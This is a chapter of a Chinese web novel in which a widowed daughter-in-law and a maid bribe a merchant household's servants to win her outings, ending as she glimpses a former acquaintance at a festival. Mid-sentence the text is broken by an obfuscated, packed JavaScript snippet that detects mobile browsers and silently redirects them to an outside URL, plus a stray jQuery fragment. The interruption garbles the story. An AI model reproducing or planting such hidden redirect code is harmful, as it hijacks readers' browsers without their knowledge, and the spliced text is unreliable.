反正陈鸿彦已经用不到,她嫁进陈家又吃了那么多苦,亡夫的小金库她就不客气的笑纳了。 彩玉盯着晃人眼的珠宝,头一次绷不住表情,目瞪口呆:“你,你哪来那么多财物?” 夏知霜没回答,只是分成两份:“这是你的,剩下的可在适当的时机拿去做人情。” 她身份尴尬,不好自己出面收买人心,而彩玉自幼被卖到陈家,熟知各个仆役的秉性,最清楚谁有用,谁能拉拢。 要想马儿跑,必须把马儿喂饱,她并不吝啬对彩玉投入巨额的钱财。 彩玉是个聪明人,略微细想便能明白过来。 “你就不担心我贪墨了不认账?我家人卖我是活契,这些财物不仅足够赎我出去,就连下半辈子也衣食无忧了。”她惯例讽两句。 夏知霜微微一笑,胸有成竹。 以前她在水房听陆婆子跟人扯过八卦,彩玉当初是死契进的府,这辈子都赎不出去了。 对方屡次试探和嘲讽也能理解,没有人会轻而易举且心甘情愿的帮另一个人做事,何况彩玉心高气傲,自然不满总是由她主导。 她不咸不淡地回讽:“左右是我那枉死的丈夫辛苦攒下来的积蓄,你想拿去赎身享乐,还是散出去为他和孩子报仇而铺路,于我都没有太大的损失。” 彩玉被她戳到心底的痛处,又悲又恼。 静默了半晌,她颓然落座,把所有银子拢到一处,竟一个子儿都不给自己留。 夏知霜出乎意料,对她的好感增加了一点点,坐下来跟她共享情报。 譬如厨房的谁谁跟门房的某某是相好,正院的谁谁和跟前院的某某有嫌隙等。 她在这里混那么久不是白待的,暗中听了那么多八卦总能整理出几条有用的信息。 有道是“阎王好过小鬼难缠”,小人物有小人物的生态链,若是利用得当,有时候能带来意想不到的效果。 彩玉是从底层慢慢爬到如今半主半仆的地位,固然比她更明白其中的道理。 她把钱取走后,当夜就开始散财。 不出旬日,彩玉迅速跟门房上下打好关系,加上她本来人脉就广,这下跟各房的小姐妹们愈发“亲密无间”。 夏知霜很快就见到了花钱如流水的成效,大厨房送来的餐食从馒头咸菜换成了正经的饭菜,两荤一素,米饭都有两碗! 她瞬间热泪盈眶,一年多了,终于能吃饱饭了! 然后是从前只能看着流口水的应季瓜果有她的份了,也有合身的新衣服穿了……当然,这些变化在明面上是来源于底下人“孝敬”彩玉的结果。 最令她满意的是,砸下重金后,原本铁桶一块的正院开始泄出关键性消息。 经过三个月的疗养,陈父的顽疾渐渐拔除,大夫说他还不能劳累,否则旧疾随时会复发,所以陈母依旧主内又主外,忙得不可开交。 青阳城所在的丰瑛郡顾名思义,玉矿极其丰富,曾经是整个启朝六成玉石的来源地,即便如今群雄并起,丰瑛郡的美玉亦销往各地,是观东四郡的重要经济来源。 陈家便是靠着买地卖玉成为观淇首富,陈父这一病,生意上的要事可积攒了不少。 一个月后,陈母要去隔壁莱州的商会办事,指名捎上夏知霜。 夏知霜高兴之余还觉得不安,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326858|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是玄灵的帮忙起了作用,还是老妖婆又想变着法折腾她。 晚些时候,彩玉带回了可靠的消息。 上回香期,云鹤真人跟陈母提了一句话,说是府上少夫人的八字不止契合少爷,也旺陈氏一族,出入让其伴行可逢凶化吉。 到出发当天,陈母当真带夏知霜去往莱州。 在莱州,夏知霜还是被关在下榻之处,里外有好些人看守。 好在彩玉的受限没那么严,她不当值的时候就想办法外出,悄悄把不好出手的珠宝首饰全换成不显眼的银子和铜钱,顺便探听当地的消息。 回到府里,俩人又是眼都不眨的散出去一大笔钱。 正院那边的消息源源不断传到如漆院来。 陈家似乎摊上了什么事,本来快痊愈的陈父急得小病不断,玲玲可能嗅到了什么风声,最近没怎么跟陈母打擂。 陈母更频繁的外出,有时是去处理纠纷,有时是出面跟官府打交道,有时是主持商会解决各种危机。 夏知霜随之四处奔波,住过陈家在不同郡州的屋舍,春季宿别院,夏季住庄子,行程短则待在自家客栈。 她听彩玉提及,得知陈家除了做玉石和客栈外,还经营米铺、布坊和首饰店等生意。 不过这些都与她无关,无论到哪个地方,她都不被允许过问生意场上的事。 夏知霜对此也无所谓,一门心思盘算怎么踏出囚笼。 有钱能使鬼推磨,当了半年的散财童子后,彩玉庞大的交际网终于发挥了作用。 守门的仆役开始放任彩玉领走少夫人,俱都认为彩玉不耐烦被少夫人连累成天关在屋里,干脆就领着少夫人一起出去放风。 他们拿人手短,自是不好阻拦,给她俩规定一个归来的期限便罢。 起初,夏知霜和彩玉只能外出两刻钟,在别院中四处转转假装散心。 后来,随着她们持续疏财,每次也乖乖回去,守门的婆子也就放任她们延长了外出的时间。 夏知霜得已到街上去走走,但防着老妖婆和柳绿突然回去,每次在外头最多逗留半个时辰。 即便如此,能外出放风已经让她很高兴了。 转瞬是凉秋。 陈母去往靖隅城的玉行主持商会事宜,为期两日,恰逢丰收节。 丰收节在观淇九地是大节,官府会牵头举办一场盛大的祭天仪式,祈求来年太平安定和五谷丰登。 民间亦会举行庆祝活动,隆重程度仅次于春节。 夏知霜和彩玉都没见识过丰收节的盛况,当天故技重施,到街上去逛逛热闹。 靖隅城上下张灯结彩,鼓锣喧天,人流如织,鞭炮声绵绵不绝。 街道两旁的摊贩似长龙,吃喝玩乐样样丰富,时不时有免费的舞狮和卖艺表演。 “你看,那边好多人,不知在干什么。”夏知霜双手拿着吃食,指着另一边的人群兴奋地说。 彩玉同觉新奇,到底懂得比她多,语气淡定:“那是傩舞,跳傩请神,祈求神灵赐予民间风调雨顺。” 夏知霜很是向往,三两下啃完点心,去够彩玉的手:“咱们去看看吧。” 上次推心置腹的聊过之后,彩玉对她态度好转,不再尖酸刻薄和冷嘲热讽了,她们拧成一股绳,关系还不错,手拉手逛街是常事。 可刚勾上对方的袖子,夏知霜脸上的笑容霎时凝固。 彩玉无可无不可,正抬步跟随,却见她忽然松开手,对着反方向愣神。 那边熙来攮往的人群中,一位英俊的青衣公子执扇静立,在字画摊前悠然欣赏,他十分专注,自得其乐,仿佛隔绝了喧嚣的尘世。 是刘宁。 是他,绝对没有认错! 夏知霜反应过来的时候,身体擅自追上去了。